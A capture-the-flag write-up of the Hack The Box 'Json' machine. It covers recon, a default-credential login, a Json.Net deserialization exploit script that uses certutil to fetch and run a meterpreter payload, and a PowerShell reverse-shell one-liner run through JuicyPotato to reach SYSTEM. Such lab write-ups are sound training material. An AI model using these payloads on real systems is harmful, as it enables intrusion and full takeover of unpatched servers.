Hack The Box - Json
Configuration
The operating systems that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.158 json.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sV -sT -sC json.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 23:17 EST
Nmap scan report for json.htb (10.10.10.158)
Host is up (0.26s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h01m13s, deviation: 0s, median: 4h01m13s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:bd:00:23 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-18T08:19:44
|_ start_date: 2020-01-18T07:11:14
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.99 seconds
Enumeration (1)
When trying the access the ftp
service, I wasn’t able to login anonymously, hence I went straight for the http
service. Something weird actually happens because it went from what seems to be a dashboard:
to a login page at /login.html
:
Tried some default usernames and passwords and admin:admin
worked! I guess the usage of the StartBootStrap Admin
theme was a hint. After logging in, we were directed back to the dashboard. Someone probably didn’t implement things correctly haha
Among the requests sent during the login, there was a suspicous GET
request being sent to /api/account
.
The response was:
1
2
3
4
5
6
7
{
"Id":1,
"UserName":"admin",
"Password":"21232f297a57a5a743894a0e4a801fc3",
"Name":"User Admin HTB",
"Rol":"Administrator"
}
No requests parameters were sent so maybe the OAuth2
token in the Bearer
header has something to do with it? The session value also had the same value for some reason. When to base64
-decoding it, we got the same exact content as the response.
Lets try to cause some base64
-decoding issues and hopefully see some errors :)
1
2
3
4
5
6
7
8
9
import base64
import requests
headers = {
"Bearer": base64.b64encode(b"something")
}
resp = requests.get("http://json.htb/api/Account/", headers=headers)
print(resp.content)
Running the above script got:
1
b'{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}'
Json.Net
? Didn’t know how to exploit but I came across this tool that is able to generate some sort of payload to execute commands ? What was neat was that the first example actually suited our needs and all we have to do is change the command executed.
Exploitation (1)
First, we need to generate our meterpreter
payload and serve it using SimpleHTTPServer
on port 80.
1
2
3
4
5
6
7
8
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.XX.XX LPORT=XXXX -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Next, we set up our reverse shell handler using msfconsole
:
1
2
3
4
5
6
7
8
9
10
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set LHOST 10.10.XX.XX
LHOST => 10.10.XX.XX
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => XXXX
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.XX.XX:XXXX
And now our exploit script to pull everything together:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import requests
import json
IP = "10.10.XX.XX"
PORT = "XXXX"
template = r"""
{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":["cmd","/c %s"]
},
"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
"""
commands = [
r"mkdir c:\\tmp",
r"certutil -f -split -urlcache http://%s:%s/shell.exe c:\\tmp\\shell.exe" % (IP, PORT),
r"c:\\tmp\\shell.exe"
]
for command in commands:
payload = template % (command,)
minified = json.dumps(json.loads(payload)).encode()
headers = {
"Bearer": base64.b64encode(minified)
}
resp = requests.get("http://json.htb/api/Account/", headers=headers)
Running the script got us our session ! :)
1
2
3
4
[*] Sending stage (180291 bytes) to 10.10.10.158
[*] Meterpreter session 1 opened (10.10.XX.XX:XXXX -> 10.10.10.158:52355) at 2020-02-15 09:29:17 -0500
meterpreter > getuid
Server username: JSON\userpool
user.txt
1
2
3
4
5
6
7
8
meterpreter > shell
Process 676 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>more C:\Users\userpool\Destkop\user.txt
3445XXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumeration (2)
If we look at what privileges we have as userpool
,
1
2
3
4
5
6
7
8
9
10
11
12
c:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
According to PayloadAllTheThings, if we got SeImpersonate
or SeAssignPrimaryToken
privileges (which is this case we have both), we can use Juicy Potato
.
First we create a .bat
script to run a Powershell
command that connects back to us.
1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.XX.XX',XXXX); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
Then we use meterpreter
to upload the files to the box:
1
2
3
4
5
6
meterpreter > upload /root/Desktop/web/x.bat C:\\tmp
[*] uploading : /root/Desktop/web/x.bat -> C:\tmp
[*] uploaded : /root/Desktop/web/x.bat -> C:\tmp\x.bat
meterpreter > upload /root/Desktop/web/JuicyPotato.exe C:\\tmp
[*] uploading : /root/Desktop/web/JuicyPotato.exe -> C:\tmp
[*] uploaded : /root/Desktop/web/JuicyPotato.exe -> C:\tmp\JuicyPotato.exe
Next we start a listener on our machine:
1
2
$ nc -lvnp XXXX
listening on [any] XXXX ...
To use JuicyPotato.exe
, we need to know the CLSID
based on the box’s Windows version Microsoft Windows Server 2012 R2 Datacenter
(The version can be retrieved by running systeminfo
on the box.). The CLSID can be gotten from here. Make sure the User belonging to the CLSID you have chosen is NT AUTHORITY/SYSTEM
.
The last step would be to run JuicyPotato.exe
on the box.
1
2
3
4
5
6
7
c:\tmp> JuicyPotato.exe -l XXXX -p c:\tmp\x.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} XXXX
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
On our listener, we caught the connection:
1
2
3
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.158] 52604
PS C:\Windows\system32> whoami
nt authority\system
root.txt
1
2
PS C:\Windows\system32> more C:\Users\superadmin\Desktop\root.txt
3cc8XXXXXXXXXXXXXXXXXXXXXXXXXXXX